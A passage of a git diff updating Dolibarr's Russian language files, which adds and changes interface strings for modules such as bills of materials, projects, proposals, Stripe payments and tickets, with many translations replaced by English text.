      4 = дисплея в описании столбца после того, описание только если не пусто -DisplayOnPdf=Показать в PDF +EnabledDesc=Condition to have this field active.

      Examples:
      1
      isModEnabled('MAIN_MODULE_MYMODULE')
      getDolGlobalString('MYMODULE_OPTION')==2 +VisibleDesc=Is the field visible ? (Examples: 0=Never visible, 1=Visible on list and create/update/view forms, 2=Visible on list only, 3=Visible on create/update/view form only (not list), 4=Visible on list and update/view form only (not create), 5=Visible on list end view form only (not create, not update).

      Using a negative value means field is not shown by default on list but can be selected for viewing). +ItCanBeAnExpression=It can be an expression. Example:
      preg_match('/public/', $_SERVER['PHP_SELF'])?0:1
      $user->hasRight('holiday', 'define_holiday')?1:5 +DisplayOnPdfDesc=Display this field on compatible PDF documents, you can manage position with "Position" field.
      For document :
      0 = not displayed
      1 = display
      2 = display only if not empty

      For document lines :
      0 = not displayed
      1 = displayed in a column
      3 = display in line description column after the description
      4 = display in description column after the description only if not empty +DisplayOnPdf=On PDF IsAMeasureDesc=Можно ли суммировать значение поля, чтобы получить итог в списке? (Примеры: 1 или 0) SearchAllDesc=Используется ли это поле для поиска из инструмента быстрого поиска? (Примеры: 1 или 0) SpecDefDesc=Введите сюда всю документацию, которую вы хотите предоставить с вашим модулем, которая еще не определена на других вкладках. Вы можете использовать .md или лучше, богатый синтаксис .asciidoc. @@ -130,26 +136,32 @@ UseSpecificEditorURL = Используйте конкретный URL-адре UseSpecificFamily = Используйте конкретную семью UseSpecificAuthor = Использовать конкретного автора UseSpecificVersion = Используйте конкретную начальную версию -IncludeRefGeneration=Ссылка на объект должна генерироваться автоматически по пользовательским правилам нумерации. +IncludeRefGeneration=The reference of this object must be generated automatically by custom numbering rules IncludeRefGenerationHelp=Установите этот флажок, если вы хотите включить код для автоматического управления созданием ссылки с использованием пользовательских правил нумерации. -IncludeDocGeneration=Я хочу сгенерировать некоторые документы из шаблонов для объекта +IncludeDocGeneration=I want the feature to generate some documents (PDF, ODT) from templates for this object IncludeDocGenerationHelp=Если вы установите этот флажок, будет сгенерирован некоторый код для добавления поля «Создать документ» в запись. -ShowOnCombobox=Показать значение в поле со списком +ShowOnCombobox=Show value into combo boxes KeyForTooltip=Ключ для подсказки CSSClass=CSS для редактирования / создания формы CSSViewClass=CSS для формы чтения CSSListClass=CSS для списка NotEditable=Не редактируется ForeignKey=Иностранный ключ -TypeOfFieldsHelp=Тип полей:
      varchar(99), double(24,8), real, text, html, datetime, timestamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]]
      '1' означает, что мы добавляем кнопку + после комбо для создания записи. +ForeignKeyDesc=If the value of this field must be guaranted to exists into another table. Enter here a value matching syntax: tablename.parentfieldtocheck +TypeOfFieldsHelp=Example:
      varchar(99), double(24,8), real, text, html, datetime, timestamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]]
      '1' means we add a + button after the combo to create the record
      'filter' is a sql condition, example: 'status=1 AND fk_user=__USER_ID__ AND entity IN (__SHARED_ENTITIES__)' +TypeOfFieldsHelpIntro=This is the type of the field/attribute. AsciiToHtmlConverter=Конвертер ascii в HTML AsciiToPdfConverter=Конвертер ascii в PDF TableNotEmptyDropCanceled=Таблица не пустая. Дроп отменен. ModuleBuilderNotAllowed=Конструктор модулей доступен, но не разрешен для вашего пользователя. ImportExportProfiles=Импорт и экспорт профилей -ValidateModBuilderDesc=Установите это значение в 1, если вы хотите, чтобы метод $this->validateField() объекта вызывался для проверки содержимого поля во время вставки или обновления. Установите 0, если проверка не требуется. +ValidateModBuilderDesc=Set this to 1 if you want to have the method $this->validateField() of object being called to validate the content of the field during insert or update. Set 0 if there is no validation required. WarningDatabaseIsNotUpdated=Предупреждение: База данных не обновляется автоматически, вы должны уничтожить таблицы и отключить-включить модуль для пересоздания таблиц. LinkToParentMenu=Родительское меню (fk_xxxxmenu) ListOfTabsEntries=Список вкладок TabsDefDesc=Определите здесь вкладки, предоставляемые вашим модулем TabsDefDescTooltip=Вкладки, предоставляемые вашим модулем/приложением, определены в массиве $this->tabs в файле дескриптора модуля. Вы можете редактировать этот файл вручную или использовать встроенный редактор. +BadValueForType=Bad value for type %s +DefinePropertiesFromExistingTable=Define properties from an existing table +DefinePropertiesFromExistingTableDesc=If a table in the database (for the object to create) already exists, you can use it to define the properties of the object. +DefinePropertiesFromExistingTableDesc2=Keep empty if the table does not exist yet. The code generator will use different kinds of fields to build an example of table that you can edit later. diff --git a/htdocs/langs/ru_RU/mrp.lang b/htdocs/langs/ru_RU/mrp.lang index 31e5bd61a0f..2c29ff203af 100644 --- a/htdocs/langs/ru_RU/mrp.lang +++ b/htdocs/langs/ru_RU/mrp.lang @@ -11,8 +11,8 @@ Bom=Спецификации материалов BillOfMaterials=Спецификации материалов BillOfMaterialsLines=Строки спецификации материалов BOMsSetup=Настройка спецификации модуля -ListOfBOMs=Список спецификаций материалов - СМ -ListOfManufacturingOrders=Список заказов на производство +ListOfBOMs=Bills of material - BOM +ListOfManufacturingOrders=Manufacturing Orders NewBOM=Новая спецификация материалов ProductBOMHelp=Продукт для создания (или разборки) с этой спецификацией.
      Примечание. Продукты со свойством «Природа продукта» = «Сырье» не отображаются в этом списке. BOMsNumberingModules=Шаблоны нумерации спецификаций @@ -27,6 +27,7 @@ ConfirmCloneBillOfMaterials=Вы уверены, что хотите клони ConfirmCloneMo=Вы действительно хотите клонировать заказ на производство %s? ManufacturingEfficiency=Эффективность производства ConsumptionEfficiency=Эффективность потребления +Consumption=Consumption ValueOfMeansLoss=Значение 0,95 означает в среднем 5%% потерь при изготовлении или разборке. ValueOfMeansLossForProductProduced=Значение 0.95 означает в среднем 5%% потерь произведенного продукта. DeleteBillOfMaterials=Удалить перечень элементов @@ -82,6 +83,7 @@ ProductsToProduce=Продукты для производства UnitCost=Себестоимость единицы продукции TotalCost=Общая стоимость BOMTotalCost=Стоимость производства этой спецификации на основе стоимости каждого количества и потребляемого продукта (используйте Себестоимость, если она определена, в противном случае - Средневзвешенную цену, если она определена, в противном случае - Лучшую закупочную цену). +BOMTotalCostService=If the "Workstation" module is activated and a workstation is defined by default on the line, then the calculation is "quantity (converted into hours) x workstation ahr", otherwise "quantity (converted into hours) x cost price of the service" GoOnTabProductionToProduceFirst=Вы должны сначала запустить производство, чтобы закрыть производственный заказ (см. Вкладку «%s»). Но вы можете отменить это. ErrorAVirtualProductCantBeUsedIntoABomOrMo=Комплект не может быть использован в спецификации или ЗП Workstation=Рабочая станция @@ -112,3 +114,7 @@ MOAndLines=Производственные заказы и строки MoChildGenerate=Generate Child Mo ParentMo=MO Parent MOChild=MO Child +BomCantAddChildBom=The nomenclature %s is already present in the tree leading to the nomenclature %s +BOMNetNeeds = BOM Net Needs +BOMProductsList=BOM's products +BOMServicesList=BOM's services diff --git a/htdocs/langs/ru_RU/products.lang b/htdocs/langs/ru_RU/products.lang index 978c92b0201..5da06f86f2b 100644 --- a/htdocs/langs/ru_RU/products.lang +++ b/htdocs/langs/ru_RU/products.lang @@ -262,7 +262,7 @@ Quarter1=I квартал Quarter2=II квартал Quarter3=III квартал Quarter4=IV квартал -BarCodePrintsheet=Распечатать штрих-код +BarCodePrintsheet=Print barcodes PageToGenerateBarCodeSheets=С помощью этого инструмента вы можете распечатать листы наклеек со штрих-кодом. Выберите формат страницы с наклейками, тип штрих-кода и значение штрих-кода, затем нажмите кнопку %s . NumberOfStickers=Количество стикеров для печати на странице PrintsheetForOneBarCode=Печатать несколько стикеров для одного штрих-кода @@ -345,7 +345,7 @@ PossibleValues=Возможные значения GoOnMenuToCreateVairants=Перейдите в меню %s - %s, чтобы подготовить варианты атрибутов (например, цвета, размер, ...) UseProductFournDesc=Добавьте функцию для определения описания продукта, определенного поставщиками (для каждой ссылки поставщика) в дополнение к описанию для клиентов ProductSupplierDescription=Описание продавца продукта -UseProductSupplierPackaging=Использовать упаковку по ценам поставщика (пересчитать количества в соответствии с упаковкой, указанной в цене поставщика, при добавлении / обновлении строки в документах поставщика) +UseProductSupplierPackaging=Use packaging for prices rounded to multiples for purchase prices (recalculate quantities according to multiples set on purchase prices when adding/updating line in a vendor documents) PackagingForThisProduct=Упаковка PackagingForThisProductDesc=Вы автоматически приобретете кратное этому количеству. QtyRecalculatedWithPackaging=Количество линии пересчитано в соответствии с упаковкой поставщика. @@ -399,7 +399,7 @@ ActionAvailableOnVariantProductOnly=Действие доступно тольк ProductsPricePerCustomer=Цены на продукцию для каждого покупателя ProductSupplierExtraFields=Дополнительные атрибуты (цены поставщиков) DeleteLinkedProduct=Удалить дочерний продукт, связанный с комбинацией -AmountUsedToUpdateWAP=Сумма, используемая для обновления средневзвешенной цены +AmountUsedToUpdateWAP=Unit amount to use to update the Weighted Average Price PMPValue=Средневзвешенная цена PMPValueShort=СВЦ mandatoryperiod=Обязательные периоды @@ -416,6 +416,7 @@ ProductsMergeSuccess=Продукты были объединены ErrorsProductsMerge=Ошибки в объединении продуктов SwitchOnSaleStatus=Включить статус продажи SwitchOnPurchaseStatus=Включить статус покупки +UpdatePrice=Increase/decrease customer price StockMouvementExtraFields= Дополнительные поля (стоковое движение) InventoryExtraFields= Дополнительные поля (инвентарь) ScanOrTypeOrCopyPasteYourBarCodes=Отсканируйте или введите или скопируйте/вставьте свои штрих-коды @@ -427,3 +428,4 @@ RealValuation=Реальная оценка ConfirmEditExtrafield = Выберите дополнительное поле, которое вы хотите изменить ConfirmEditExtrafieldQuestion = Вы уверены, что хотите изменить это дополнительное поле? ModifyValueExtrafields = Изменить значение дополнительного поля +OrProductsWithCategories=Or products with tags/categories diff --git a/htdocs/langs/ru_RU/projects.lang b/htdocs/langs/ru_RU/projects.lang index 970947ec27f..5497dbb31df 100644 --- a/htdocs/langs/ru_RU/projects.lang +++ b/htdocs/langs/ru_RU/projects.lang @@ -23,6 +23,7 @@ TasksPublicDesc=Эта точка зрения представляет всех TasksDesc=Эта точка зрения представляет всех проектов и задач (разрешений пользователей предоставить вам разрешение для просмотра всего). AllTaskVisibleButEditIfYouAreAssigned=Все задачи для квалифицированных проектов видны, но вы можете ввести время только для задачи, назначенной выбранному пользователю. Назначьте задачу, если вам нужно ввести на нее время. OnlyYourTaskAreVisible=Видны только назначенные вам задачи. Если вам нужно ввести время для задачи, и если задача не отображается здесь, то вам необходимо назначить задачу себе. +ImportDatasetProjects=Projects or opportunities ImportDatasetTasks=Задачи проектов ProjectCategories=Теги/категории проекта NewProject=Новый проект @@ -37,7 +38,9 @@ OpportunitiesStatusForOpenedProjects=Ведет количество откры OpportunitiesStatusForProjects=Ведет количество проектов по статусу ShowProject=Показать проекта ShowTask=Показать задачу +SetThirdParty=Set third party SetProject=Комплекс проектов +OutOfProject=Out of project NoProject=Нет проекта определена NbOfProjects=Количество проектов NbOfTasks=Кол-во задач @@ -122,7 +125,8 @@ ValidateProject=Проверка Projet ConfirmValidateProject=Вы уверены, что хотите проверить этот проект? CloseAProject=Закрыть проект ConfirmCloseAProject=Вы уверены, что хотите закрыть этот проект? -AlsoCloseAProject=Также закройте проект (оставьте его открытым, если вам все еще нужно выполнять производственные задачи по нему) +AlsoCloseAProject=Also close project +AlsoCloseAProjectTooltip=Keep it open if you still need to follow production tasks on it ReOpenAProject=Открытый проект ConfirmReOpenAProject=Вы уверены, что хотите снова открыть этот проект? ProjectContact=Контакты проекта @@ -165,7 +169,7 @@ OpportunityProbability=Вероятность опережения OpportunityProbabilityShort=Ведите пробаб. OpportunityAmount=Сумма лида OpportunityAmountShort=Сумма лида -OpportunityWeightedAmount=Взвешенная сумма возможности +OpportunityWeightedAmount=Amount of opportunity, weighted by probability OpportunityWeightedAmountShort=Опп. взвешенная сумма OpportunityAmountAverageShort=Средняя сумма лида OpportunityAmountWeigthedShort=Взвешенная сумма лида @@ -238,7 +242,7 @@ OppStatusPENDING=В ожидании OppStatusWON=Победил OppStatusLOST=Потерянный Budget=Бюджет -AllowToLinkFromOtherCompany=Разрешить связывать проект от другой компании

      Поддерживаемые значения:
      - Оставить пустым: можно связать любой проект компании (по умолчанию)
      - «все»: можно связывать любые проекты, даже проекты других компаний
      - Список сторонних идентификаторов, разделенных запятыми: может связывать все проекты этих сторонних разработчиков (пример: 123,4795,53)
      +AllowToLinkFromOtherCompany=Allow to link an element with a project of other company

      Supported values:
      - Keep empty: Can link elements with any projects in the same company (default)
      - "all": Can link elements with any projects, even projects of other companies
      - A list of third-party ids separated by commas: can link elements with any projects of these third partys (Example: 123,4795,53)
      LatestProjects=Последние проекты %s LatestModifiedProjects=Последние измененные проекты %s OtherFilteredTasks=Другие отфильтрованные задачи @@ -282,7 +286,7 @@ ProfitIsCalculatedWith=Прибыль рассчитывается с испол AddPersonToTask=Добавляйте также в задачи UsageOrganizeEvent=Использование: Организация мероприятий PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE=Классифицируйте проект как закрытый, когда все его задачи будут выполнены (прогресс 100%%) -PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Примечание: существующие проекты со всеми задачами на 100%% не будут затронуты: вам придется закрыть их вручную. Этот параметр влияет только на открытые проекты. +PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Note: existing projects with all tasks already set to a progress of 100 %% won't be affected: you will have to close them manually. This option only affects open projects. SelectLinesOfTimeSpentToInvoice=Выберите строки затраченного времени, за которые не выставлены счета, затем выполните массовое действие "Сгенерировать счет-фактуру", чтобы выставить их. ProjectTasksWithoutTimeSpent=Задачи проекта без затрат времени FormForNewLeadDesc=Спасибо, заполните следующую форму, чтобы связаться с нами. Вы также можете отправить нам электронное письмо прямо на адрес %s. diff --git a/htdocs/langs/ru_RU/propal.lang b/htdocs/langs/ru_RU/propal.lang index ca06e8b891f..6608ec50b32 100644 --- a/htdocs/langs/ru_RU/propal.lang +++ b/htdocs/langs/ru_RU/propal.lang @@ -65,49 +65,54 @@ AvailabilityPeriod=Наличие задержки SetAvailability=Задержка устанавливается доступность AfterOrder=после заказа OtherProposals=Другие предложения + ##### Availability ##### AvailabilityTypeAV_NOW=Немедленный AvailabilityTypeAV_1W=1 неделя AvailabilityTypeAV_2W=2 недели AvailabilityTypeAV_3W=3 недели AvailabilityTypeAV_1M=1 месяц -##### Types de contacts ##### + +##### Types ofe contacts ##### TypeContact_propal_internal_SALESREPFOLL=Представитель следующие меры предложение TypeContact_propal_external_BILLING=свяжитесь со счета TypeContact_propal_external_CUSTOMER=Абонентский отдел следующие меры предложение TypeContact_propal_external_SHIPPING=Контактное лицо для доставки + # Document models -DocModelAzurDescription=Полная модель предложения (старая реализация шаблона Cyan) -DocModelCyanDescription=Полная модель предложения -DefaultModelPropalCreate=Создание модели по умолчанию -DefaultModelPropalToBill=Шаблон по умолчанию, когда закрывается коммерческое предложение (для создания счёта) -DefaultModelPropalClosed=Шаблон по умолчанию, когда закрывается коммерческое предложение (не оплаченное) -ProposalCustomerSignature=Письменное подтверждение, печать компании, дата и подпись -ProposalsStatisticsSuppliers=Статистика предложений поставщиков -CaseFollowedBy=Дело, за которым следует -SignedOnly=Только подписано -NoSign=Набор не подписан -NoSigned=набор не подписан CantBeNoSign=нельзя установить не подписанным +CaseFollowedBy=Дело, за которым следует ConfirmMassNoSignature=Массовое не подписанное подтверждение ConfirmMassNoSignatureQuestion=Вы уверены, что хотите установить неподписанные выбранные записи? -IsNotADraft=это не черновик -PassedInOpenStatus=был подтвержден -Sign=Подписать -Signed=подписал -ConfirmMassValidation=Массовое подтверждение подтверждения ConfirmMassSignature=Массовое подтверждение подписи -ConfirmMassValidationQuestion=Вы уверены, что хотите проверить выбранные записи? ConfirmMassSignatureQuestion=Вы уверены, что хотите подписать выбранные записи? -IdProposal=ID предложения +ConfirmMassValidation=Массовое подтверждение подтверждения +ConfirmMassValidationQuestion=Вы уверены, что хотите проверить выбранные записи? +ConfirmRefusePropal=Вы уверены, что хотите отказаться от этого коммерческого предложения? +ContractSigned=Contract signed +DefaultModelPropalClosed=Шаблон по умолчанию, когда закрывается коммерческое предложение (не оплаченное) +DefaultModelPropalCreate=Создание модели по умолчанию +DefaultModelPropalToBill=Шаблон по умолчанию, когда закрывается коммерческое предложение (для создания счёта) +DocModelAzurDescription=Полная модель предложения (старая реализация шаблона Cyan) +DocModelCyanDescription=Полная модель предложения +FichinterSigned=Intervention signed IdProduct=идантификационный номер продукта +IdProposal=ID предложения +IsNotADraft=это не черновик LineBuyPriceHT=Цена покупки Сумма без налога для строки -SignPropal=Принять предложение +NoSign=Отказать +NoSigned=набор не подписан +PassedInOpenStatus=был подтвержден +PropalAlreadyRefused=Предложение уже отклонено +PropalAlreadySigned=Предложение уже принято +PropalRefused=Предложение отклонено +PropalSigned=Предложение принято +ProposalCustomerSignature=Письменное подтверждение, печать компании, дата и подпись +ProposalsStatisticsSuppliers=Статистика предложений поставщиков RefusePropal=Отказаться от предложения Sign=Подписать -NoSign=Набор не подписан -PropalAlreadySigned=Предложение уже принято -PropalAlreadyRefused=Предложение уже отклонено -PropalSigned=Предложение принято -PropalRefused=Предложение отклонено -ConfirmRefusePropal=Вы уверены, что хотите отказаться от этого коммерческого предложения? +SignContract=Стандарт +SignFichinter=Sign intervention +SignPropal=Принять предложение +Signed=подписал +SignedOnly=Только подписано diff --git a/htdocs/langs/ru_RU/recruitment.lang b/htdocs/langs/ru_RU/recruitment.lang index 5d322684bfb..e0cad442ebc 100644 --- a/htdocs/langs/ru_RU/recruitment.lang +++ b/htdocs/langs/ru_RU/recruitment.lang @@ -57,15 +57,16 @@ EmailRecruiter=Написать рекрутеру ToUseAGenericEmail=Чтобы использовать общий адрес электронной почты. Если не определено, будет использоваться адрес электронной почты ответственного за набор персонала. NewCandidature=Новое приложение ListOfCandidatures=Список приложений -RequestedRemuneration=Запрошенное вознаграждение -ProposedRemuneration=Предлагаемое вознаграждение +Remuneration=Зарплата +RequestedRemuneration=Requested salary +ProposedRemuneration=Proposed salary ContractProposed=Предлагаемый контракт ContractSigned=Контракт подписан ContractRefused=Контракт отклонен RecruitmentCandidature=Заявление JobPositions=Вакансии RecruitmentCandidatures=Приложения -InterviewToDo=Интервью делать +InterviewToDo=Contacts to follow AnswerCandidature=Ответ приложения YourCandidature=Ваше приложение YourCandidatureAnswerMessage=Спасибо за заявку.
      ... diff --git a/htdocs/langs/ru_RU/salaries.lang b/htdocs/langs/ru_RU/salaries.lang index f5f8bd29d32..51ae2d24ca2 100644 --- a/htdocs/langs/ru_RU/salaries.lang +++ b/htdocs/langs/ru_RU/salaries.lang @@ -1,6 +1,6 @@ # Dolibarr language file - Source file is en_US - salaries -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Учет используется для пользователей контрагентов -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=Выделенный бухгалтерский счет, указанный в карточке пользователя, будет использоваться только для учета во вспомогательной книги. Этот будет использоваться для Главной книги и в качестве значения по умолчанию для учета вспомогательной книги, если выделенная пользовательский бухгалтерский счет для пользователя не определен. +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Account (from the Chart of Account) used by default for "user" third parties +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=The dedicated account defined on user card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated user accounting account on user is not defined. SALARIES_ACCOUNTING_ACCOUNT_CHARGE=Бухгалтерский счет по умолчанию для выплат заработной платы CREATE_NEW_SALARY_WITHOUT_AUTO_PAYMENT=По умолчанию оставьте пустым параметр «Автоматически создавать общий платеж» при создании зарплаты. Salary=Зарплата @@ -24,3 +24,4 @@ SalariesStatistics=Статистика зарплаты SalariesAndPayments=Заработная плата и выплаты ConfirmDeleteSalaryPayment=Вы хотите удалить эту зарплату? FillFieldFirst=Сначала заполните поле сотрудника +UpdateAmountWithLastSalary=Установить сумму с последней зарплатой diff --git a/htdocs/langs/ru_RU/stripe.lang b/htdocs/langs/ru_RU/stripe.lang index 25db139165e..2b40f0c165e 100644 --- a/htdocs/langs/ru_RU/stripe.lang +++ b/htdocs/langs/ru_RU/stripe.lang @@ -1,6 +1,6 @@ # Dolibarr language file - Source file is en_US - stripe StripeSetup=Настройка модуля Stripe -StripeDesc=Offer your customers an online payment page for payments with credit/debit cards via Stripe. This can be used to allow your customers to make ad-hoc payments or for payments related to a particular Dolibarr object (invoice, order, ...) +StripeDesc=Предложите своим клиентам страницу онлайн-платежей для платежей кредитными/дебетовыми картами через Stripe . Это можно использовать, чтобы позволить вашим клиентам совершать разовые платежи или платежи, связанные с конкретным объектом Dolibarr (счет, заказ, ...) StripeOrCBDoPayment=Оплата кредитной картой или Stripe FollowingUrlAreAvailableToMakePayments=После URL, можно предложить страницу к клиенту сделать платеж по Dolibarr объектов PaymentForm=Форма оплаты @@ -41,7 +41,8 @@ STRIPE_LIVE_WEBHOOK_KEY=Живой ключ Webhook ONLINE_PAYMENT_WAREHOUSE=Запасы, используемые для уменьшения запасов при онлайн-оплате
      (TODO Когда опция уменьшения запасов выполняется для действия со счетом-фактурой, и онлайн-платеж генерирует счет-фактуру самостоятельно?) StripeLiveEnabled=Полоса в реальном времени включена (в противном случае тестовый режим / режим песочницы) StripeImportPayment=Платежи Import Stripe -ExampleOfTestCreditCard=Пример кредитной карты для тестирования: %s => действителен, %s => ошибка CVC, %s => истек срок действия, %s => заряд не производится +ExampleOfTestCreditCard=Example of credit card for SEPA test: %s => valid, %s => error CVC, %s => expired, %s => charge fails +ExampleOfTestBankAcountForSEPA=Example of bank account BAN for direct debit test: %s StripeGateways=Stripe-шлюзы OAUTH_STRIPE_TEST_ID=Идентификатор клиента Stripe Connect (ca _...) OAUTH_STRIPE_LIVE_ID=Идентификатор клиента Stripe Connect (ca _...) @@ -61,6 +62,7 @@ DeleteACard=Удалить карту ConfirmDeleteCard=Вы действительно хотите удалить эту кредитную или дебетовую карту? CreateCustomerOnStripe=Создать клиента на Stripe CreateCardOnStripe=Создать карту на Stripe +CreateBANOnStripe=Create bank on Stripe ShowInStripe=Показать в полосе StripeUserAccountForActions=Учетная запись пользователя, используемая для уведомления по электронной почте о некоторых событиях Stripe (выплаты Stripe) StripePayoutList=Список выплат Stripe @@ -69,3 +71,8 @@ ToOfferALinkForLiveWebhook=Ссылка на настройку Stripe WebHook PaymentWillBeRecordedForNextPeriod=Выплата будет записана за следующий период. ClickHereToTryAgain= Нажмите здесь, чтобы попробовать еще раз ... CreationOfPaymentModeMustBeDoneFromStripeInterface=Из-за правил строгой аутентификации клиентов создание карты должно производиться из бэк-офиса Stripe. Вы можете щелкнуть здесь, чтобы включить запись клиента Stripe: %s +STRIPE_CARD_PRESENT=Card Present for Stripe Terminals +TERMINAL_LOCATION=Location (address) for Stripe Terminals +RequestDirectDebitWithStripe=Request Direct Debit with Stripe +STRIPE_SEPA_DIRECT_DEBIT=Enable the Direct Debit payments through Stripe + diff --git a/htdocs/langs/ru_RU/ticket.lang b/htdocs/langs/ru_RU/ticket.lang index 55c3103a6b1..d860b7ffdfa 100644 --- a/htdocs/langs/ru_RU/ticket.lang +++ b/htdocs/langs/ru_RU/ticket.lang @@ -26,7 +26,9 @@ Permission56002=Изменить тикеты Permission56003=Удалить тикеты Permission56004=Управлять тикетами Permission56005=Просмотр тикетов всех третьих лиц (не действует для внешних пользователей, всегда ограничивается третьей стороной, от которой они зависят) +Permission56006=Export tickets +Tickets=Тикеты TicketDictType=Тикет - Типы TicketDictCategory=Тикет - Группы TicketDictSeverity=Тикет - Степени серьезности @@ -60,6 +62,8 @@ TypeContact_ticket_external_CONTRIBUTOR=Внешний участник OriginEmail=Электронная почта репортера Notify_TICKET_SENTBYMAIL=Отправить сообщение тикета по электронной почте +ExportDataset_ticket_1=Тикеты + # Status Read=Читать Assigned=Ответственный @@ -149,6 +153,8 @@ TicketsAutoNotifyCloseHelp=При закрытии тикета вам буде TicketWrongContact=Предоставленный контакт не является частью текущих контактов заявки. Электронная почта не отправлена. TicketChooseProductCategory=Категория продукта для тикет-поддержки TicketChooseProductCategoryHelp=Выберите категорию продукта поддержки билетов. Это будет использоваться для автоматической привязки контракта к тикету. +TicketUseCaptchaCode=Use graphical code (CAPTCHA) when creating a ticket +TicketUseCaptchaCodeHelp=Adds CAPTCHA verification when creating a new ticket. # # Index & list page @@ -180,7 +186,7 @@ CreatedBy=Создано NewTicket=Новый тикет SubjectAnswerToTicket=Ответ на тикет TicketTypeRequest=Тип запроса -TicketCategory=Категоризация тикетов +TicketCategory=Ticket group SeeTicket=Посмотреть тикет TicketMarkedAsRead=Тикет отмечен как прочитанный TicketReadOn=Читать дальше @@ -192,8 +198,7 @@ TicketAssigned=Тикет назначен TicketChangeType=Изменить тип TicketChangeCategory=Изменить аналитический код TicketChangeSeverity=Изменить серьезность -TicketAddMessage=Добавить сообщение -AddMessage=Добавить сообщение +TicketAddMessage=Add private message MessageSuccessfullyAdded=Тикет добавлен TicketMessageSuccessfullyAdded=Сообщение успешно добавлено TicketMessagesList=Список сообщений @@ -204,8 +209,8 @@ TicketSeverity=Строгость ShowTicket=Посмотреть тикет RelatedTickets=Связанные тикеты TicketAddIntervention=СОздать посредничество -CloseTicket=Закрыть|Решить тикет -AbandonTicket=Отказаться от тикета +CloseTicket=Close|Solve +AbandonTicket=Abandon CloseATicket=Закрыть|Решить тикет ConfirmCloseAticket=Подтвердить закрытие тикета ConfirmAbandonTicket=Подтверждаете ли вы закрытие тикета до статуса "Заброшенный" @@ -219,18 +224,17 @@ SendMessageByEmail=Отправить сообщение по электронн TicketNewMessage=Новое сообщение ErrorMailRecipientIsEmptyForSendTicketMessage=Получатель пуст. Электронная почта не отправляется TicketGoIntoContactTab=Пожалуйста, перейдите на вкладку «Контакты», чтобы выбрать их. -TicketMessageMailIntro=Вступление +TicketMessageMailIntro=Message header TicketMessageMailIntroHelp=Этот текст добавляется только в начале письма и не сохраняется. -TicketMessageMailIntroLabelAdmin=Вводный текст ко всем ответам на билеты TicketMessageMailIntroText=Здравствуйте,
      В заявку, на которую вы подписаны, добавлен новый ответ. Вот сообщение:
      TicketMessageMailIntroHelpAdmin=Этот текст будет вставлен перед ответом при ответе на тикет от Долибарра. -TicketMessageMailSignature=Подпись -TicketMessageMailSignatureHelp=Этот текст добавляется только в конце письма и не сохраняется. -TicketMessageMailSignatureText=Сообщение отправлено %s через Долибарр -TicketMessageMailSignatureLabelAdmin=Подпись ответного электронного письма -TicketMessageMailSignatureHelpAdmin=Этот текст будет вставлен после ответного сообщения. +TicketMessageMailFooter=Message footer +TicketMessageMailFooterHelp=This text is added only at the end of the message sent by email and will not be saved. +TicketMessageMailFooterText=Message sent by %s via Dolibarr +TicketMessageMailFooterHelpAdmin=This text will be inserted after the response message. TicketMessageHelp=Только этот текст будет сохранен в списке сообщений в карточке тикета. TicketMessageSubstitutionReplacedByGenericValues=Подстановки переменных заменяются общими значениями. +ForEmailMessageWillBeCompletedWith=For email messages sent to external users, the message will be completed with TimeElapsedSince=Прошло время с TicketTimeToRead=Время, прошедшее до прочтения TicketTimeElapsedBeforeSince=Время, прошедшее до / с @@ -241,6 +245,7 @@ TicketMessageMailIntroAutoNewPublicMessage=В тикете появилось н TicketAssignedToYou=Тикет назначен TicketAssignedEmailBody=Вам был присвоен тикет #%s пользователем %s MarkMessageAsPrivate=Отметить сообщение как личное +TicketMessageSendEmailHelp=An email will be sent to all assigned contact (internal contacts, but also external contacts except if the option "%s" is checked) TicketMessagePrivateHelp=Это сообщение не будет отображаться для внешних пользователей TicketEmailOriginIssuer=Издатель при оформлении тикетов InitialMessage=Начальное сообщение @@ -296,7 +301,7 @@ TicketNewEmailBodyInfosTrackUrlCustomer=Вы можете просмотреть TicketCloseEmailBodyInfosTrackUrlCustomer=Вы можете ознакомиться с историей этого билета, нажав на следующую ссылку TicketEmailPleaseDoNotReplyToThisEmail=Пожалуйста, не отвечайте на это письмо напрямую! Используйте ссылку, чтобы ответить в интерфейсе. TicketPublicInfoCreateTicket=Эта форма позволяет вам записать тикет в службу поддержки в нашей системе управления. -TicketPublicPleaseBeAccuratelyDescribe=Пожалуйста, подробно опишите проблему. Предоставьте как можно больше информации, чтобы мы могли правильно идентифицировать ваш запрос. +TicketPublicPleaseBeAccuratelyDescribe=Please accurately describe your question. Provide the most information possible to allow us to correctly identify your request. TicketPublicMsgViewLogIn=Пожалуйста, введите ID отслеживания тикетов TicketTrackId=Публичный ID отслеживания OneOfTicketTrackId=Один из ваших ID отслеживания diff --git a/htdocs/langs/ru_RU/users.lang b/htdocs/langs/ru_RU/users.lang index 94adab2ba55..964f1b2f05f 100644 --- a/htdocs/langs/ru_RU/users.lang +++ b/htdocs/langs/ru_RU/users.lang @@ -47,7 +47,7 @@ RemoveFromGroup=Удалить из группы PasswordChangedAndSentTo=Пароль изменен и отправлен на %s. PasswordChangeRequest=Запрос на изменение пароля для %s PasswordChangeRequestSent=Запрос на изменение пароля для %s отправлен на %s. -IfLoginExistPasswordRequestSent=Если этот логин является действующей учетной записью, было отправлено электронное письмо для сброса пароля. +IfLoginExistPasswordRequestSent=If this login is a valid account (with a valid email), an email to reset password has been sent. IfEmailExistPasswordRequestSent=Если это адрес электронной почты действующей учетной записи, было отправлено электронное письмо для сброса пароля. ConfirmPasswordReset=Подтвердите сброс пароля MenuUsersAndGroups=Пользователи и Группы @@ -66,9 +66,9 @@ LinkedToDolibarrUser=Ссылка на пользователя LinkedToDolibarrThirdParty=Ссылка на третью сторону CreateDolibarrLogin=Создать аккаунт Dolibarr CreateDolibarrThirdParty=Создание третьей стороной -LoginAccountDisableInDolibarr=Счет-инвалидов в Dolibarr. +LoginAccountDisableInDolibarr=Account disabled in Dolibarr +PASSWORDInDolibarr=Password modified in Dolibarr UsePersonalValue=Использовать личные предпочтения -InternalUser=Внутренний пользователь ExportDataset_user_1=Пользователи и их 